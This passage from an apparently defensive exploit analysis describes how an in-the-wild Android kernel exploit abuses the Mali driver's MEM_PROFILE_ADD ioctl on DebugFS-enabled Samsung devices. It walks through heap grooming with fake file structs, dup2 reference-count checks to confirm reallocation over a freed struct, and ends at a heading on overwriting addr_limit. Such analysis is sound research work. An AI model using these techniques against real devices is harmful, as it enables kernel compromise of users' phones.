<p class="vdnyYxSRCi-c1"><span class="vdnyYxSRCi-c4"> </span><span class="vdnyYxSRCi-c5">return</span><span class="vdnyYxSRCi-c4"> </span><span class="vdnyYxSRCi-c0">-</span><span class="vdnyYxSRCi-c4">EINVAL</span><span class="vdnyYxSRCi-c0">;</span></p>
<p class="vdnyYxSRCi-c1"><span class="vdnyYxSRCi-c4"> </span><span class="vdnyYxSRCi-c0">}</span></p>
<p class="vdnyYxSRCi-c1 vdnyYxSRCi-c14"><span class="vdnyYxSRCi-c3"></span></p>
<p class="vdnyYxSRCi-c1"><span class="vdnyYxSRCi-c4"> buf </span><span class="vdnyYxSRCi-c0">=</span><span class="vdnyYxSRCi-c4"> kmalloc</span><span class="vdnyYxSRCi-c0">(</span><span class="vdnyYxSRCi-c4">data</span><span class="vdnyYxSRCi-c0">-></span><span class="vdnyYxSRCi-c4">len</span><span class="vdnyYxSRCi-c0">,</span><span class="vdnyYxSRCi-c4"> GFP_KERNEL</span><span class="vdnyYxSRCi-c0">);</span></p>
<p class="vdnyYxSRCi-c1"><span class="vdnyYxSRCi-c4"> </span><span class="vdnyYxSRCi-c5">if</span><span class="vdnyYxSRCi-c4"> </span><span class="vdnyYxSRCi-c0">(</span><span class="vdnyYxSRCi-c4">ZERO_OR_NULL_PTR</span><span class="vdnyYxSRCi-c0">(</span><span class="vdnyYxSRCi-c4">buf</span><span class="vdnyYxSRCi-c0">))</span></p>
<p class="vdnyYxSRCi-c1"><span class="vdnyYxSRCi-c4"> </span><span class="vdnyYxSRCi-c5">return</span><span class="vdnyYxSRCi-c4"> </span><span class="vdnyYxSRCi-c0">-</span><span class="vdnyYxSRCi-c4">ENOMEM</span><span class="vdnyYxSRCi-c0">;</span></p>
<p class="vdnyYxSRCi-c1 vdnyYxSRCi-c14"><span class="vdnyYxSRCi-c3"></span></p>
<p class="vdnyYxSRCi-c1"><span class="vdnyYxSRCi-c4"> err </span><span class="vdnyYxSRCi-c0">=</span><span class="vdnyYxSRCi-c4"> copy_from_user</span><span class="vdnyYxSRCi-c0">(</span><span class="vdnyYxSRCi-c4">buf</span><span class="vdnyYxSRCi-c0">,</span><span class="vdnyYxSRCi-c4"> u64_to_user_ptr</span><span class="vdnyYxSRCi-c0">(</span><span class="vdnyYxSRCi-c4">data</span><span class="vdnyYxSRCi-c0">-></span><span class="vdnyYxSRCi-c4">buffer</span><span class="vdnyYxSRCi-c0">),</span></p>
<p class="vdnyYxSRCi-c1"><span class="vdnyYxSRCi-c4"> data</span><span class="vdnyYxSRCi-c0">-></span><span class="vdnyYxSRCi-c4">len</span><span class="vdnyYxSRCi-c0">);</span></p>
<p class="vdnyYxSRCi-c1"><span class="vdnyYxSRCi-c4"> </span><span class="vdnyYxSRCi-c5">if</span><span class="vdnyYxSRCi-c4"> </span><span class="vdnyYxSRCi-c0">(</span><span class="vdnyYxSRCi-c4">err</span><span class="vdnyYxSRCi-c0">)</span><span class="vdnyYxSRCi-c4"> </span><span class="vdnyYxSRCi-c0">{</span></p>
<p class="vdnyYxSRCi-c1"><span class="vdnyYxSRCi-c4"> kfree</span><span class="vdnyYxSRCi-c0">(</span><span class="vdnyYxSRCi-c4">buf</span><span class="vdnyYxSRCi-c0">);</span></p>
<p class="vdnyYxSRCi-c1"><span class="vdnyYxSRCi-c4"> </span><span class="vdnyYxSRCi-c5">return</span><span class="vdnyYxSRCi-c4"> </span><span class="vdnyYxSRCi-c0">-</span><span class="vdnyYxSRCi-c4">EFAULT</span><span class="vdnyYxSRCi-c0">;</span></p>
<p class="vdnyYxSRCi-c1"><span class="vdnyYxSRCi-c4"> </span><span class="vdnyYxSRCi-c0">}</span></p>
<p class="vdnyYxSRCi-c1 vdnyYxSRCi-c14"><span class="vdnyYxSRCi-c3"></span></p>
<p class="vdnyYxSRCi-c1"><span class="vdnyYxSRCi-c4"> </span><span class="vdnyYxSRCi-c5">return</span><span class="vdnyYxSRCi-c4"> kbasep_mem_profile_debugfs_insert</span><span class="vdnyYxSRCi-c0">(</span><span class="vdnyYxSRCi-c4">kctx</span><span class="vdnyYxSRCi-c0">,</span><span class="vdnyYxSRCi-c4"> buf</span><span class="vdnyYxSRCi-c0">,</span><span class="vdnyYxSRCi-c4"> data</span><span class="vdnyYxSRCi-c0">-></span><span class="vdnyYxSRCi-c4">len</span><span class="vdnyYxSRCi-c0">);</span></p>
<p class="vdnyYxSRCi-c1"><span class="vdnyYxSRCi-c0">}</span></p>
<p class="vdnyYxSRCi-c1 vdnyYxSRCi-c14"><span class="vdnyYxSRCi-c3"></span></p></td></tr></table>
<p class="vdnyYxSRCi-c1 vdnyYxSRCi-c8 vdnyYxSRCi-c14"><span class="vdnyYxSRCi-c7"></span></p>
<p class="vdnyYxSRCi-c1 vdnyYxSRCi-c8"><span>This ioctl takes a pointer to a buffer, the length of the buffer, and padding as arguments. </span><span class="vdnyYxSRCi-c2">kbase_api_mem_profile_add</span><span class="vdnyYxSRCi-c7"> will allocate a buffer on the kernel heap and then will copy the passed buffer from userspace into the newly allocated kernel buffer.</span></p>
<p class="vdnyYxSRCi-c1 vdnyYxSRCi-c8 vdnyYxSRCi-c14"><span class="vdnyYxSRCi-c7"></span></p>
<p class="vdnyYxSRCi-c1 vdnyYxSRCi-c8"><span>Finally, </span><span class="vdnyYxSRCi-c2">kbase_api_mem_profile_add</span><span> calls </span><span class="vdnyYxSRCi-c2">kbasep_mem_profile_debugfs_insert</span><span>. This technique only works when the device is running a kernel with </span><span class="vdnyYxSRCi-c2">CONFIG_DEBUG_FS</span><span> enabled. The purpose of the </span><span class="vdnyYxSRCi-c2">MEM_PROFILE_ADD</span><span> ioctl is to write a buffer to DebugFS. As of Android 11, DebugFS should not be enabled on production devices. </span><span>Whenever Android launches new requirements like this, it only applies to devices launched on that new version of Android. Android 11 launched in September 2020 and the exploit was found in November 2020 so it makes sense that the exploit targeted devices Android 10 and before where DebugFS would have been mounted.</span></p>
<p class="vdnyYxSRCi-c1 vdnyYxSRCi-c8"></p>
<p class="vdnyYxSRCi-c1 vdnyYxSRCi-c8"><span class="vdnyYxSRCi-c7"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhYOnatV5Tbxu0n0Q5oP5HGHvZowemJC_GKvaFf-FAuwlNfx-m5AxwqWU0g5oMMejAoIUcCi10u7pE3n_uuhT3mmfE-7e74_B-ZifuKTmF44asidpw34Gg0jFNAMVKa2i9MsZ6MSGJrN2RayBa3kiPTBc-9JSqhk42W-wjV-IEAYhaQUiZ1hwiVmBpB/s903/image4.png" style="display: block; padding: 1em 0;text-align: center;"><img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhYOnatV5Tbxu0n0Q5oP5HGHvZowemJC_GKvaFf-FAuwlNfx-m5AxwqWU0g5oMMejAoIUcCi10u7pE3n_uuhT3mmfE-7e74_B-ZifuKTmF44asidpw34Gg0jFNAMVKa2i9MsZ6MSGJrN2RayBa3kiPTBc-9JSqhk42W-wjV-IEAYhaQUiZ1hwiVmBpB/s903/image4.png" border="0" alt="Screenshot of the DebugFS section from https://source.android.com/docs/setup/about/android-11-release#debugfs. The highlighted text reads: &quot;Android 11 removes platform support for DebugFS and requires that it not be mounted or accessed on production devices&quot;" style="max-height: 750px; max-width: 600px;"title="Screenshot of the DebugFS section from https://source.android.com/docs/setup/about/android-11-release#debugfs. The highlighted text reads: &quot;Android 11 removes platform support for DebugFS and requires that it not be mounted or accessed on production devices&quot;" /></a></span></p>
<p class="vdnyYxSRCi-c1 vdnyYxSRCi-c8"><span>For example, on the A51 exynos device (SM-A515F) which launched on Android 10, both </span><span class="vdnyYxSRCi-c2">CONFIG_DEBUG_FS</span><span class="vdnyYxSRCi-c7"> is enabled and DebugFS is mounted. </span></p>
<p class="vdnyYxSRCi-c1 vdnyYxSRCi-c8 vdnyYxSRCi-c14"><span class="vdnyYxSRCi-c7"></span></p><a id="t.7ecb17c683a1281f47d4612e785891bb86b4709f"></a><a id="t.23"></a><table class="vdnyYxSRCi-c23"><tr class="vdnyYxSRCi-c19"><td class="vdnyYxSRCi-c10" colspan="1" rowspan="1">
<p class="vdnyYxSRCi-c1"><span class="vdnyYxSRCi-c4">a51</span><span class="vdnyYxSRCi-c0">:</span><span class="vdnyYxSRCi-c18">/ $ getprop ro.build.fingerprint</span></p>
<p class="vdnyYxSRCi-c1"><span class="vdnyYxSRCi-c18">samsung/</span><span class="vdnyYxSRCi-c4">a51nnxx</span><span class="vdnyYxSRCi-c0">/</span><span class="vdnyYxSRCi-c4">a51</span><span class="vdnyYxSRCi-c0">:</span><span class="vdnyYxSRCi-c13">11</span><span class="vdnyYxSRCi-c0">/</span><span class="vdnyYxSRCi-c4">RP1A</span><span class="vdnyYxSRCi-c0">.</span><span class="vdnyYxSRCi-c13">200720.012</span><span class="vdnyYxSRCi-c0">/</span><span class="vdnyYxSRCi-c4">A515FXXU4DUB1</span><span class="vdnyYxSRCi-c0">:</span><span class="vdnyYxSRCi-c4">user</span><span class="vdnyYxSRCi-c0">/</span><span class="vdnyYxSRCi-c4">release</span><span class="vdnyYxSRCi-c0">-</span><span class="vdnyYxSRCi-c3">keys</span></p>
<p class="vdnyYxSRCi-c1"><span class="vdnyYxSRCi-c4">a51</span><span class="vdnyYxSRCi-c0">:</span><span class="vdnyYxSRCi-c18">/ $ getprop ro.build.version.security_patch</span></p>
<p class="vdnyYxSRCi-c1"><span class="vdnyYxSRCi-c18">2021-02-01</span></p>
<p class="vdnyYxSRCi-c1"><span class="vdnyYxSRCi-c18">a51:/</span><span class="vdnyYxSRCi-c4"> $ uname </span><span class="vdnyYxSRCi-c0">-</span><span class="vdnyYxSRCi-c3">a</span></p>
<p class="vdnyYxSRCi-c1"><span class="vdnyYxSRCi-c12">Linux</span><span class="vdnyYxSRCi-c4"> localhost </span><span class="vdnyYxSRCi-c13">4.14</span><span class="vdnyYxSRCi-c0">.</span><span class="vdnyYxSRCi-c13">113</span><span class="vdnyYxSRCi-c0">-</span><span class="vdnyYxSRCi-c13">20899478</span><span class="vdnyYxSRCi-c4"> </span><span class="vdnyYxSRCi-c20">#1 SMP PREEMPT Mon Feb 1 15:37:03 KST 2021 aarch64</span></p>
<p class="vdnyYxSRCi-c1"><span class="vdnyYxSRCi-c4">a51</span><span class="vdnyYxSRCi-c0">:</span><span class="vdnyYxSRCi-c18">/ $ cat /</span><span class="vdnyYxSRCi-c4">proc</span><span class="vdnyYxSRCi-c0">/</span><span class="vdnyYxSRCi-c4">config</span><span class="vdnyYxSRCi-c0">.</span><span class="vdnyYxSRCi-c4">gz </span><span class="vdnyYxSRCi-c0">|</span><span class="vdnyYxSRCi-c4"> gunzip </span><span class="vdnyYxSRCi-c0">|</span><span class="vdnyYxSRCi-c4"> cat </span><span class="vdnyYxSRCi-c0">|</span><span class="vdnyYxSRCi-c3"> grep CONFIG_DEBUG_FS </span></p>
<p class="vdnyYxSRCi-c1"><span class="vdnyYxSRCi-c4 vdnyYxSRCi-c9">CONFIG_DEBUG_FS</span><span class="vdnyYxSRCi-c0 vdnyYxSRCi-c9">=</span><span class="vdnyYxSRCi-c3 vdnyYxSRCi-c9">y</span></p>
<p class="vdnyYxSRCi-c1 vdnyYxSRCi-c14"><span class="vdnyYxSRCi-c3"></span></p>
<p class="vdnyYxSRCi-c1"><span class="vdnyYxSRCi-c4">a51</span><span class="vdnyYxSRCi-c0">:</span><span class="vdnyYxSRCi-c18">/ $ cat /</span><span class="vdnyYxSRCi-c4">proc</span><span class="vdnyYxSRCi-c0">/</span><span class="vdnyYxSRCi-c4">mounts </span><span class="vdnyYxSRCi-c0">|</span><span class="vdnyYxSRCi-c3"> grep debug </span></p>
<p class="vdnyYxSRCi-c1"><span class="vdnyYxSRCi-c0 vdnyYxSRCi-c9">/</span><span class="vdnyYxSRCi-c4 vdnyYxSRCi-c9">sys</span><span class="vdnyYxSRCi-c0 vdnyYxSRCi-c9">/</span><span class="vdnyYxSRCi-c4 vdnyYxSRCi-c9">kernel</span><span class="vdnyYxSRCi-c0 vdnyYxSRCi-c9">/</span><span class="vdnyYxSRCi-c4 vdnyYxSRCi-c9">debug </span><span class="vdnyYxSRCi-c0 vdnyYxSRCi-c9">/</span><span class="vdnyYxSRCi-c4 vdnyYxSRCi-c9">sys</span><span class="vdnyYxSRCi-c0 vdnyYxSRCi-c9">/</span><span class="vdnyYxSRCi-c4 vdnyYxSRCi-c9">kernel</span><span class="vdnyYxSRCi-c0 vdnyYxSRCi-c9">/</span><span class="vdnyYxSRCi-c4 vdnyYxSRCi-c9">debug debugfs rw</span><span class="vdnyYxSRCi-c0 vdnyYxSRCi-c9">,</span><span class="vdnyYxSRCi-c4 vdnyYxSRCi-c9">seclabel</span><span class="vdnyYxSRCi-c0 vdnyYxSRCi-c9">,</span><span class="vdnyYxSRCi-c4 vdnyYxSRCi-c9">relatime </span><span class="vdnyYxSRCi-c13 vdnyYxSRCi-c9">0</span><span class="vdnyYxSRCi-c4 vdnyYxSRCi-c9"> </span><span class="vdnyYxSRCi-c13 vdnyYxSRCi-c9">0</span></p></td></tr></table>
<p class="vdnyYxSRCi-c1 vdnyYxSRCi-c8 vdnyYxSRCi-c14"><span class="vdnyYxSRCi-c7"></span></p>
<p class="vdnyYxSRCi-c1 vdnyYxSRCi-c8"><span>Because DebugFS is mounted, the exploit is able to use the </span><span class="vdnyYxSRCi-c2">MEM_PROFILE_ADD</span><span> ioctl </span><span>to </span><span>groom the heap. </span><span>If DebugFS wasn’t enabled or mounted, </span><span class="vdnyYxSRCi-c2">kbasep_mem_profile_debugfs_insert</span><span> would simply free the newly allocated kernel buffer and return.</span></p>
<p class="vdnyYxSRCi-c1 vdnyYxSRCi-c8 vdnyYxSRCi-c14"><span class="vdnyYxSRCi-c7"></span></p><a id="t.b54890eb264f51ceef4db4a7d94fde1a7369f3a7"></a><a id="t.24"></a><table class="vdnyYxSRCi-c23"><tr class="vdnyYxSRCi-c19"><td class="vdnyYxSRCi-c10" colspan="1" rowspan="1">
<p class="vdnyYxSRCi-c1"><span class="vdnyYxSRCi-c20">#ifdef</span><span class="vdnyYxSRCi-c3"> CONFIG_DEBUG_FS</span></p>
<p class="vdnyYxSRCi-c1 vdnyYxSRCi-c14"><span class="vdnyYxSRCi-c3"></span></p>
<p class="vdnyYxSRCi-c1"><span class="vdnyYxSRCi-c5">int</span><span class="vdnyYxSRCi-c4"> kbasep_mem_profile_debugfs_insert</span><span class="vdnyYxSRCi-c0">(</span><span class="vdnyYxSRCi-c5">struct</span><span class="vdnyYxSRCi-c4"> kbase_context </span><span class="vdnyYxSRCi-c0">*</span><span class="vdnyYxSRCi-c4">kctx</span><span class="vdnyYxSRCi-c0">,</span><span class="vdnyYxSRCi-c4"> </span><span class="vdnyYxSRCi-c5">char</span><span class="vdnyYxSRCi-c4"> </span><span class="vdnyYxSRCi-c0">*</span><span class="vdnyYxSRCi-c4">data</span><span class="vdnyYxSRCi-c0">,</span></p>
<p class="vdnyYxSRCi-c1"><span class="vdnyYxSRCi-c4"> size_t size</span><span class="vdnyYxSRCi-c0">)</span></p>
<p class="vdnyYxSRCi-c1"><span class="vdnyYxSRCi-c0">{</span></p>
<p class="vdnyYxSRCi-c1"><span class="vdnyYxSRCi-c4"> </span><span class="vdnyYxSRCi-c5">int</span><span class="vdnyYxSRCi-c4"> err </span><span class="vdnyYxSRCi-c0">=</span><span class="vdnyYxSRCi-c4"> </span><span class="vdnyYxSRCi-c13">0</span><span class="vdnyYxSRCi-c0">;</span></p>
<p class="vdnyYxSRCi-c1 vdnyYxSRCi-c14"><span class="vdnyYxSRCi-c3"></span></p>
<p class="vdnyYxSRCi-c1"><span class="vdnyYxSRCi-c4"> mutex_lock</span><span class="vdnyYxSRCi-c0">(&</span><span class="vdnyYxSRCi-c4">kctx</span><span class="vdnyYxSRCi-c0">-></span><span class="vdnyYxSRCi-c4">mem_profile_lock</span><span class="vdnyYxSRCi-c0">);</span></p>
<p class="vdnyYxSRCi-c1 vdnyYxSRCi-c14"><span class="vdnyYxSRCi-c3"></span></p>
<p class="vdnyYxSRCi-c1"><span class="vdnyYxSRCi-c4"> dev_dbg</span><span class="vdnyYxSRCi-c0">(</span><span class="vdnyYxSRCi-c4">kctx</span><span class="vdnyYxSRCi-c0">-></span><span class="vdnyYxSRCi-c4">kbdev</span><span class="vdnyYxSRCi-c0">-></span><span class="vdnyYxSRCi-c4">dev</span><span class="vdnyYxSRCi-c0">,</span><span class="vdnyYxSRCi-c4"> </span><span class="vdnyYxSRCi-c18">"initialised: %d"</span><span class="vdnyYxSRCi-c0">,</span></p>
<p class="vdnyYxSRCi-c1"><span class="vdnyYxSRCi-c4"> kbase_ctx_flag</span><span class="vdnyYxSRCi-c0">(</span><span class="vdnyYxSRCi-c4">kctx</span><span class="vdnyYxSRCi-c0">,</span><span class="vdnyYxSRCi-c4"> KCTX_MEM_PROFILE_INITIALIZED</span><span class="vdnyYxSRCi-c0">));</span></p>
<p class="vdnyYxSRCi-c1 vdnyYxSRCi-c14"><span class="vdnyYxSRCi-c3"></span></p>
<p class="vdnyYxSRCi-c1"><span class="vdnyYxSRCi-c4"> </span><span class="vdnyYxSRCi-c5">if</span><span class="vdnyYxSRCi-c4"> </span><span class="vdnyYxSRCi-c0">(!</span><span class="vdnyYxSRCi-c4">kbase_ctx_flag</span><span class="vdnyYxSRCi-c0">(</span><span class="vdnyYxSRCi-c4">kctx</span><span class="vdnyYxSRCi-c0">,</span><span class="vdnyYxSRCi-c4"> KCTX_MEM_PROFILE_INITIALIZED</span><span class="vdnyYxSRCi-c0">))</span><span class="vdnyYxSRCi-c4"> </span><span class="vdnyYxSRCi-c0">{</span></p>
<p class="vdnyYxSRCi-c1"><span class="vdnyYxSRCi-c4"> </span><span class="vdnyYxSRCi-c5">if</span><span class="vdnyYxSRCi-c4"> </span><span class="vdnyYxSRCi-c0">(</span><span class="vdnyYxSRCi-c4">IS_ERR_OR_NULL</span><span class="vdnyYxSRCi-c0">(</span><span class="vdnyYxSRCi-c4">kctx</span><span class="vdnyYxSRCi-c0">-></span><span class="vdnyYxSRCi-c4">kctx_dentry</span><span class="vdnyYxSRCi-c0">))</span><span class="vdnyYxSRCi-c4"> </span><span class="vdnyYxSRCi-c0">{</span></p>
<p class="vdnyYxSRCi-c1"><span class="vdnyYxSRCi-c4"> err </span><span class="vdnyYxSRCi-c0">=</span><span class="vdnyYxSRCi-c4"> </span><span class="vdnyYxSRCi-c0">-</span><span class="vdnyYxSRCi-c4">ENOMEM</span><span class="vdnyYxSRCi-c0">;</span></p>
<p class="vdnyYxSRCi-c1"><span class="vdnyYxSRCi-c4"> </span><span class="vdnyYxSRCi-c0">}</span><span class="vdnyYxSRCi-c4"> </span><span class="vdnyYxSRCi-c5">else</span><span class="vdnyYxSRCi-c4"> </span><span class="vdnyYxSRCi-c5">if</span><span class="vdnyYxSRCi-c4"> </span><span class="vdnyYxSRCi-c0">(!</span><span class="vdnyYxSRCi-c4">debugfs_create_file</span><span class="vdnyYxSRCi-c0">(</span><span class="vdnyYxSRCi-c18">"mem_profile"</span><span class="vdnyYxSRCi-c0">,</span><span class="vdnyYxSRCi-c4"> </span><span class="vdnyYxSRCi-c13">0444</span><span class="vdnyYxSRCi-c0">,</span></p>
<p class="vdnyYxSRCi-c1"><span class="vdnyYxSRCi-c4"> kctx</span><span class="vdnyYxSRCi-c0">-></span><span class="vdnyYxSRCi-c4">kctx_dentry</span><span class="vdnyYxSRCi-c0">,</span><span class="vdnyYxSRCi-c4"> kctx</span><span class="vdnyYxSRCi-c0">,</span></p>
<p class="vdnyYxSRCi-c1"><span class="vdnyYxSRCi-c4"> </span><span class="vdnyYxSRCi-c0">&</span><span class="vdnyYxSRCi-c4">kbasep_mem_profile_debugfs_fops</span><span class="vdnyYxSRCi-c0">))</span><span class="vdnyYxSRCi-c4"> </span><span class="vdnyYxSRCi-c0">{</span></p>
<p class="vdnyYxSRCi-c1"><span class="vdnyYxSRCi-c4"> err </span><span class="vdnyYxSRCi-c0">=</span><span class="vdnyYxSRCi-c4"> </span><span class="vdnyYxSRCi-c0">-</span><span class="vdnyYxSRCi-c4">EAGAIN</span><span class="vdnyYxSRCi-c0">;</span></p>
<p class="vdnyYxSRCi-c1"><span class="vdnyYxSRCi-c4"> </span><span class="vdnyYxSRCi-c0">}</span><span class="vdnyYxSRCi-c4"> </span><span class="vdnyYxSRCi-c5">else</span><span class="vdnyYxSRCi-c4"> </span><span class="vdnyYxSRCi-c0">{</span></p>
<p class="vdnyYxSRCi-c1"><span class="vdnyYxSRCi-c4"> kbase_ctx_flag_set</span><span class="vdnyYxSRCi-c0">(</span><span class="vdnyYxSRCi-c4">kctx</span><span class="vdnyYxSRCi-c0">,</span></p>
<p class="vdnyYxSRCi-c1"><span class="vdnyYxSRCi-c4"> KCTX_MEM_PROFILE_INITIALIZED</span><span class="vdnyYxSRCi-c0">);</span></p>
<p class="vdnyYxSRCi-c1"><span class="vdnyYxSRCi-c4"> </span><span class="vdnyYxSRCi-c0">}</span></p>
<p class="vdnyYxSRCi-c1"><span class="vdnyYxSRCi-c4"> </span><span class="vdnyYxSRCi-c0">}</span></p>
<p class="vdnyYxSRCi-c1 vdnyYxSRCi-c14"><span class="vdnyYxSRCi-c3"></span></p>
<p class="vdnyYxSRCi-c1"><span class="vdnyYxSRCi-c4"> </span><span class="vdnyYxSRCi-c5">if</span><span class="vdnyYxSRCi-c4"> </span><span class="vdnyYxSRCi-c0">(</span><span class="vdnyYxSRCi-c4">kbase_ctx_flag</span><span class="vdnyYxSRCi-c0">(</span><span class="vdnyYxSRCi-c4">kctx</span><span class="vdnyYxSRCi-c0">,</span><span class="vdnyYxSRCi-c4"> KCTX_MEM_PROFILE_INITIALIZED</span><span class="vdnyYxSRCi-c0">))</span><span class="vdnyYxSRCi-c4"> </span><span class="vdnyYxSRCi-c0">{</span></p>
<p class="vdnyYxSRCi-c1"><span class="vdnyYxSRCi-c4"> kfree</span><span class="vdnyYxSRCi-c0">(</span><span class="vdnyYxSRCi-c4">kctx</span><span class="vdnyYxSRCi-c0">-></span><span class="vdnyYxSRCi-c4">mem_profile_data</span><span class="vdnyYxSRCi-c0">);</span></p>
<p class="vdnyYxSRCi-c1"><span class="vdnyYxSRCi-c4"> kctx</span><span class="vdnyYxSRCi-c0">-></span><span class="vdnyYxSRCi-c4">mem_profile_data </span><span class="vdnyYxSRCi-c0">=</span><span class="vdnyYxSRCi-c4"> data</span><span class="vdnyYxSRCi-c0">;</span></p>
<p class="vdnyYxSRCi-c1"><span class="vdnyYxSRCi-c4"> kctx</span><span class="vdnyYxSRCi-c0">-></span><span class="vdnyYxSRCi-c4">mem_profile_size </span><span class="vdnyYxSRCi-c0">=</span><span class="vdnyYxSRCi-c4"> size</span><span class="vdnyYxSRCi-c0">;</span></p>
<p class="vdnyYxSRCi-c1"><span class="vdnyYxSRCi-c4"> </span><span class="vdnyYxSRCi-c0">}</span><span class="vdnyYxSRCi-c4"> </span><span class="vdnyYxSRCi-c5">else</span><span class="vdnyYxSRCi-c4"> </span><span class="vdnyYxSRCi-c0">{</span></p>
<p class="vdnyYxSRCi-c1"><span class="vdnyYxSRCi-c4"> kfree</span><span class="vdnyYxSRCi-c0">(</span><span class="vdnyYxSRCi-c4">data</span><span class="vdnyYxSRCi-c0">);</span></p>
<p class="vdnyYxSRCi-c1"><span class="vdnyYxSRCi-c4"> </span><span class="vdnyYxSRCi-c0">}</span></p>
<p class="vdnyYxSRCi-c1 vdnyYxSRCi-c14"><span class="vdnyYxSRCi-c3"></span></p>
<p class="vdnyYxSRCi-c1"><span class="vdnyYxSRCi-c4"> dev_dbg</span><span class="vdnyYxSRCi-c0">(</span><span class="vdnyYxSRCi-c4">kctx</span><span class="vdnyYxSRCi-c0">-></span><span class="vdnyYxSRCi-c4">kbdev</span><span class="vdnyYxSRCi-c0">-></span><span class="vdnyYxSRCi-c4">dev</span><span class="vdnyYxSRCi-c0">,</span><span class="vdnyYxSRCi-c4"> </span><span class="vdnyYxSRCi-c18">"returning: %d, initialised: %d"</span><span class="vdnyYxSRCi-c0">,</span></p>
<p class="vdnyYxSRCi-c1"><span class="vdnyYxSRCi-c4"> err</span><span class="vdnyYxSRCi-c0">,</span><span class="vdnyYxSRCi-c4"> kbase_ctx_flag</span><span class="vdnyYxSRCi-c0">(</span><span class="vdnyYxSRCi-c4">kctx</span><span class="vdnyYxSRCi-c0">,</span><span class="vdnyYxSRCi-c4"> KCTX_MEM_PROFILE_INITIALIZED</span><span class="vdnyYxSRCi-c0">));</span></p>
<p class="vdnyYxSRCi-c1 vdnyYxSRCi-c14"><span class="vdnyYxSRCi-c3"></span></p>
<p class="vdnyYxSRCi-c1"><span class="vdnyYxSRCi-c4"> mutex_unlock</span><span class="vdnyYxSRCi-c0">(&</span><span class="vdnyYxSRCi-c4">kctx</span><span class="vdnyYxSRCi-c0">-></span><span class="vdnyYxSRCi-c4">mem_profile_lock</span><span class="vdnyYxSRCi-c0">);</span></p>
<p class="vdnyYxSRCi-c1 vdnyYxSRCi-c14"><span class="vdnyYxSRCi-c3"></span></p>
<p class="vdnyYxSRCi-c1"><span class="vdnyYxSRCi-c4"> </span><span class="vdnyYxSRCi-c5">return</span><span class="vdnyYxSRCi-c4"> err</span><span class="vdnyYxSRCi-c0">;</span></p>
<p class="vdnyYxSRCi-c1"><span class="vdnyYxSRCi-c0">}</span></p>
<p class="vdnyYxSRCi-c1 vdnyYxSRCi-c14"><span class="vdnyYxSRCi-c3"></span></p>
<p class="vdnyYxSRCi-c1 vdnyYxSRCi-c14"><span class="vdnyYxSRCi-c3"></span></p>
<p class="vdnyYxSRCi-c1"><span class="vdnyYxSRCi-c20">#else</span><span class="vdnyYxSRCi-c4"> </span><span class="vdnyYxSRCi-c20">/* CONFIG_DEBUG_FS */</span></p>
<p class="vdnyYxSRCi-c1 vdnyYxSRCi-c14"><span class="vdnyYxSRCi-c3"></span></p>
<p class="vdnyYxSRCi-c1"><span class="vdnyYxSRCi-c5">int</span><span class="vdnyYxSRCi-c4"> kbasep_mem_profile_debugfs_insert</span><span class="vdnyYxSRCi-c0">(</span><span class="vdnyYxSRCi-c5">struct</span><span class="vdnyYxSRCi-c4"> kbase_context </span><span class="vdnyYxSRCi-c0">*</span><span class="vdnyYxSRCi-c4">kctx</span><span class="vdnyYxSRCi-c0">,</span><span class="vdnyYxSRCi-c4"> </span><span class="vdnyYxSRCi-c5">char</span><span class="vdnyYxSRCi-c4"> </span><span class="vdnyYxSRCi-c0">*</span><span class="vdnyYxSRCi-c4">data</span><span class="vdnyYxSRCi-c0">,</span></p>
<p class="vdnyYxSRCi-c1"><span class="vdnyYxSRCi-c4"> size_t size</span><span class="vdnyYxSRCi-c0">)</span></p>
<p class="vdnyYxSRCi-c1"><span class="vdnyYxSRCi-c0">{</span></p>
<p class="vdnyYxSRCi-c1"><span class="vdnyYxSRCi-c4"> kfree</span><span class="vdnyYxSRCi-c0">(</span><span class="vdnyYxSRCi-c4">data</span><span class="vdnyYxSRCi-c0">);</span></p>
<p class="vdnyYxSRCi-c1"><span class="vdnyYxSRCi-c4"> </span><span class="vdnyYxSRCi-c5">return</span><span class="vdnyYxSRCi-c4"> </span><span class="vdnyYxSRCi-c13">0</span><span class="vdnyYxSRCi-c0">;</span></p>
<p class="vdnyYxSRCi-c1"><span class="vdnyYxSRCi-c0">}</span></p>
<p class="vdnyYxSRCi-c1"><span class="vdnyYxSRCi-c20">#endif</span><span class="vdnyYxSRCi-c4"> </span><span class="vdnyYxSRCi-c20">/* CONFIG_DEBUG_FS */</span></p></td></tr></table>
<p class="vdnyYxSRCi-c1 vdnyYxSRCi-c8 vdnyYxSRCi-c14"><span class="vdnyYxSRCi-c7"></span></p>
<p class="vdnyYxSRCi-c1 vdnyYxSRCi-c8"><span class="vdnyYxSRCi-c7">By writing the fake file structs as a singular 0x2000 size buffer rather than as 25 individual 0x140 size buffers, the exploit will be writing their fake structs to two whole pages which increases the odds of reallocating over the freed file struct.</span></p>
<p class="vdnyYxSRCi-c1 vdnyYxSRCi-c8 vdnyYxSRCi-c14"><span class="vdnyYxSRCi-c7"></span></p>
<p class="vdnyYxSRCi-c1 vdnyYxSRCi-c8"><span>The exploit then calls </span><span class="vdnyYxSRCi-c2">dup2</span><span> on the dangling FD’s. The </span><span class="vdnyYxSRCi-c2">dup2</span><span> syscall will open another fd on the same open file structure that the original points to. In this case, the exploit is calling </span><span class="vdnyYxSRCi-c2">dup2</span><span> to verify that they successfully reallocated a fake file structure in the same place as the freed file structure. </span><span class="vdnyYxSRCi-c2">dup2</span><span> will increment the reference count (</span><span class="vdnyYxSRCi-c2">f_count</span><span>) in the file structure. In all of our fake file structures, the </span><span class="vdnyYxSRCi-c2">f_count</span><span class="vdnyYxSRCi-c7"> was set to 0x7F. So if any of them are incremented to 0x80, the exploit knows that it successfully reallocated over the freed file struct.</span></p>
<p class="vdnyYxSRCi-c1 vdnyYxSRCi-c8 vdnyYxSRCi-c14"><span class="vdnyYxSRCi-c7"></span></p>
<p class="vdnyYxSRCi-c1 vdnyYxSRCi-c8"><span>To determine if any of the file struct’s refcounts were incremented, the exploit iterates through each of the directories under </span><span class="vdnyYxSRCi-c2">/sys/kernel/debug/mali/mem/</span><span> and reads each directory’s </span><span class="vdnyYxSRCi-c2">mem_profile</span><span> contents. If it finds the byte 0x80, then it knows that it successfully reallocated the freed struct and that the </span><span class="vdnyYxSRCi-c2">f_count</span><span> of the fake file struct was incremented.</span></p><h2 class="vdnyYxSRCi-c17 vdnyYxSRCi-c8" id="h.yfq0poarwpr9"><span>Overwriting the addr_limit</span></h2>
